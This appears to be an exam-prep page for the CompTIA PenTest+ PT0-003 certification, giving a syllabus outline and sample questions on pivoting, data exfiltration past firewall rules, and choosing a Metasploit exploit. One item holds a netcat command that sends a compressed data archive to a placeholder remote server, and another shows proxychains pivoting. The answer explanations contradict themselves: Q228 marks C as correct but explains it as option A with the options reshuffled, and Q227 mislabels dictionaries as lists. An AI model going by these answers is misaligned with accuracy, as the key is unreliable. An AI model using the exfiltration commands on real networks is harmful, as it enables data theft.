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CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none">• Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
Topic 2	<ul style="list-style-type: none">• Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
Topic 3	<ul style="list-style-type: none">• Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.
Topic 4	<ul style="list-style-type: none">• Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
Topic 5	<ul style="list-style-type: none">• Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

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CompTIA PenTest+ Exam Sample Questions (Q226-Q231):

NEW QUESTION # 226

A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

- A. `attacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000`
- B. `attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22`
- C. `attacker_host$ mkncod backpipe p attacker_host$ nc -l -p 8000 | 0<backpipe | nc <target_cidr> 80 | tee backpipe`
- D. `attacker_host$ proxychains nmap -sT <target_cidr>`

Answer: D

Explanation:

ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.

* Understanding ProxyChains:

* Purpose: ProxyChains allows you to force any TCP connection made by any given application to follow through proxies like TOR, SOCKS4, SOCKS5, and HTTP(S).

* Usage: It's commonly used to anonymize network traffic and perform actions through an intermediate proxy.

* Command Breakdown:

* `proxychains nmap -sT <target_cidr>`: This command uses ProxyChains to route the Nmap scan traffic through the configured proxies.

* Nmap Scan (-sT): This option specifies a TCP connect scan.

* Setting Up ProxyChains:

* Configuration File: ProxyChains configuration is typically found at `/etc/proxychains.conf`.

* Adding Proxy: Add the compromised host as a SOCKS proxy.

Step-by-Step Explanationplaintext

Copy code

```
socks4 127.0.0.1 1080
```

* Execution:

* Start Proxy Server: On the compromised host, run a SOCKS proxy (e.g., using `ssh -D 1080 user@compromised_host`).

* Run ProxyChains with Nmap: Execute the command on the attacker's host.

```
proxychains nmap -sT <target_cidr>
```

* References from Pentesting Literature:

* ProxyChains is commonly discussed in penetration testing guides for scenarios involving pivoting through a compromised host.

* HTB write-ups frequently illustrate the use of ProxyChains for routing traffic through intermediate systems.

NEW QUESTION # 227

Within a Python script, a line that states `print (var)` outputs the following:

`[{'1' : 'CentOS', '2' : 'Ubuntu'}, {'1' : 'Windows 10', '2' : 'Windows Server 2016'}]` Which of the following objects or data structures is var ?

- A. A class
- B. A list
- C. An array
- D. A dictionary

Answer: B

Explanation:

A list is a data structure in Python that can store multiple values of different types in a sequential order. A list is created by enclosing the values in square brackets [] and separating them by commas. A list can also contain other lists as its elements, creating a nested or multidimensional list. The output of the print (var) statement shows that var is a list that contains two elements, each of which is another list with two key-value pairs. The key-value pairs are enclosed in curly braces { }, which indicate that they are dictionaries, another data structure in Python that maps keys to values. Therefore, var is a list of dictionaries. References:

* 5.Data Structures - Python 3.12.1 documentation1, section 5.1. More on Lists

*Python Data Structures - GeeksforGeeks2, section Lists in Python

*Common Python Data Structures (Guide) - Real Python3, section Lists

NEW QUESTION # 228

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

```
Action | SRC
| DEST
|--
Block | 192.168.10.0/24 : 1-65535 | 10.0.0.0/24 : 22 | TCP
Allow | 0.0.0.0/0 : 1-65535 | 192.168.10.0/24:443 | TCP
Allow | 192.168.10.0/24 : 1-65535 | 0.0.0.0/0:443 | TCP
Block | . | . | *
```

Which of the following commands should the tester try next?

- A. `gzip /path/to/data && cp data.gz <remote_server> 443`
- B. `gzip /path/to/data && nc -nvkl 443; cat data.gz | nc -w 3 <remote_server> 22`
- C. `tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz`
- D. `tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>`

Answer: C

Explanation:

Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:

* Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

* Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

* Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

* Block: All other traffic (*).

Breakdown of Options:

* Option A: `tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz`

* This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

* Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

* Option B: `gzip /path/to/data && cp data.gz <remote_server> 443`

* This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

* Option C: `gzip /path/to/data && nc -nvkl 443; cat data.gz | nc -w 3 <remote_server> 22`

* This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

* Option D: `tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>`

* This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.

References from Pentest:

* Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

* Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

* Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration.

The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

NEW QUESTION # 229

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. The executive summary and information regarding the testing company
- B. The rules of engagement from the assessment
- C. A quick description of the vulnerability and a high-level control to fix it
- D. Information regarding the business impact if compromised

Answer: C

NEW QUESTION # 230

A penetration tester completes a scan and sees the following Nmap output on a host:

Nmap scan report for victim (10.10.10.10)

Host is up (0.0001s latency)

PORT STATE SERVICE

161/udp open snmp

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

Running Microsoft Windows 7

OS CPE: cpe:/o:microsoft:windows_7::sp0

The tester wants to obtain shell access. Which of the following related exploits should the tester try first?

- A. exploit/windows/smb/psexec
- B. exploit/windows/smb/ms08_067_netapi
- C. exploit/windows/smb/ms17_010_eternalblue
- D. auxiliary/scanner/snmp/snmp_login

Answer: C

Explanation:

Since the system is running Windows 7 SP0, it is highly likely to be vulnerable to MS17-010 (EternalBlue), a critical SMB vulnerability used for remote code execution (RCE).

* Option A (psexec) #: PsExec requires valid credentials, which we do not have yet.

* Option B (ms08_067_netapi) #: MS08-067 targets Windows XP/Server 2003, but the system is Windows 7.

* Option C (ms17_010_eternalblue) #: Correct.

* EternalBlue allows remote exploitation of SMBv1 in Windows 7/Server 2008.

* Option D (snmp_login_scanner) #: Only checks default SNMP credentials, not an exploit.

Reference: CompTIA PenTest+ PT0-003 Official Guide - SMB Exploitation & EternalBlue

NEW QUESTION # 231

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